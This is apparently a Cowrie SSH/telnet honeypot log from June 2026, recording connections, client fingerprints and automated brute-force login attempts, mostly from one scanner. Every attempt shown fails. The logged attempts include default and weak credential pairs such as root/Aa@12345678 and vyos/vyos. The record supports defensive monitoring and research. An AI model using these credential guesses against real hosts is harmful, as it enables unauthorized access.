{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:26.425172Z","src_ip":"141.11.88.14","session":"b0faa777b076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csserver","password":"csserver","message":"login attempt [csserver/csserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:26.953621Z","src_ip":"141.11.88.14","session":"b0faa777b076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:28.068943Z","src_ip":"141.11.88.14","session":"b0faa777b076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":37640,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aaf7037e8c5","protocol":"ssh","message":"New connection: 41.86.34.139:37640 (10.17.0.5:22) [session: 2aaf7037e8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:29.635499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:29.638808Z","src_ip":"41.86.34.139","session":"2aaf7037e8c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:29.845996Z","src_ip":"41.86.34.139","session":"2aaf7037e8c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@12345678","message":"login attempt [root/Aa@12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:30.714158Z","src_ip":"41.86.34.139","session":"2aaf7037e8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:31.925439Z","src_ip":"41.86.34.139","session":"2aaf7037e8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62514,"dst_ip":"10.17.0.5","dst_port":22,"session":"8146883ec9b7","protocol":"ssh","message":"New connection: 141.11.88.14:62514 (10.17.0.5:22) [session: 8146883ec9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:33.875328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:33.900053Z","src_ip":"141.11.88.14","session":"8146883ec9b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:33.967035Z","src_ip":"141.11.88.14","session":"8146883ec9b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:34.292621Z","src_ip":"141.11.88.14","session":"8146883ec9b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:35.377048Z","src_ip":"141.11.88.14","session":"8146883ec9b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":16120,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7fad63c5126","protocol":"ssh","message":"New connection: 141.11.88.14:16120 (10.17.0.5:22) [session: c7fad63c5126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:40.869994Z"}
{"eventid":"cowrie.session.closed","duration":53.57214093208313,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:40.961529Z","src_ip":"128.199.8.54","session":"e574c66a2dda","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:41.284097Z","src_ip":"141.11.88.14","session":"c7fad63c5126","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:41.287256Z","src_ip":"141.11.88.14","session":"c7fad63c5126","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^","message":"login attempt [root/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:42.646187Z","src_ip":"141.11.88.14","session":"c7fad63c5126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:43.841858Z","src_ip":"141.11.88.14","session":"c7fad63c5126","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48460,"dst_ip":"10.17.0.5","dst_port":22,"session":"d44611fb1328","protocol":"ssh","message":"New connection: 141.11.88.14:48460 (10.17.0.5:22) [session: d44611fb1328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:48.902513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:49.064045Z","src_ip":"141.11.88.14","session":"d44611fb1328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:49.067355Z","src_ip":"141.11.88.14","session":"d44611fb1328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"p@ssw0rd","message":"login attempt [test/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:50.153495Z","src_ip":"141.11.88.14","session":"d44611fb1328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:51.238554Z","src_ip":"141.11.88.14","session":"d44611fb1328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.459890604019165,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:53.142125Z","src_ip":"172.81.62.90","session":"d49c73a98472","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60982,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0f4d09dbc77","protocol":"ssh","message":"New connection: 141.11.88.14:60982 (10.17.0.5:22) [session: d0f4d09dbc77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:58.036611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:58.168202Z","src_ip":"141.11.88.14","session":"d0f4d09dbc77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:58.171791Z","src_ip":"141.11.88.14","session":"d0f4d09dbc77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"term2","password":"term2","message":"login attempt [term2/term2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:58.893985Z","src_ip":"141.11.88.14","session":"d0f4d09dbc77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:00.105441Z","src_ip":"141.11.88.14","session":"d0f4d09dbc77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":61002,"dst_ip":"10.17.0.5","dst_port":22,"session":"51d6f6acfee2","protocol":"ssh","message":"New connection: 141.11.88.14:61002 (10.17.0.5:22) [session: 51d6f6acfee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:05.503344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:05.588445Z","src_ip":"141.11.88.14","session":"51d6f6acfee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:05.591671Z","src_ip":"141.11.88.14","session":"51d6f6acfee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:06.488825Z","src_ip":"141.11.88.14","session":"51d6f6acfee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:07.641096Z","src_ip":"141.11.88.14","session":"51d6f6acfee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":37502,"dst_ip":"10.17.0.5","dst_port":23,"session":"acc4360be4c8","protocol":"telnet","message":"New connection: 94.23.66.112:37502 (10.17.0.5:23) [session: acc4360be4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:10.917517Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":34112,"dst_ip":"10.17.0.5","dst_port":22,"session":"3999092bf888","protocol":"ssh","message":"New connection: 141.11.88.14:34112 (10.17.0.5:22) [session: 3999092bf888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:13.817054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:13.940077Z","src_ip":"141.11.88.14","session":"3999092bf888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:13.945275Z","src_ip":"141.11.88.14","session":"3999092bf888","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"green","password":"green","message":"login attempt [green/green] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:14.612845Z","src_ip":"141.11.88.14","session":"3999092bf888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:15.899901Z","src_ip":"141.11.88.14","session":"3999092bf888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":19732,"dst_ip":"10.17.0.5","dst_port":22,"session":"35bad2750359","protocol":"ssh","message":"New connection: 141.11.88.14:19732 (10.17.0.5:22) [session: 35bad2750359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:21.400456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:20:21.613560Z","src_ip":"141.11.88.14","session":"35bad2750359","protocol":"ssh"}
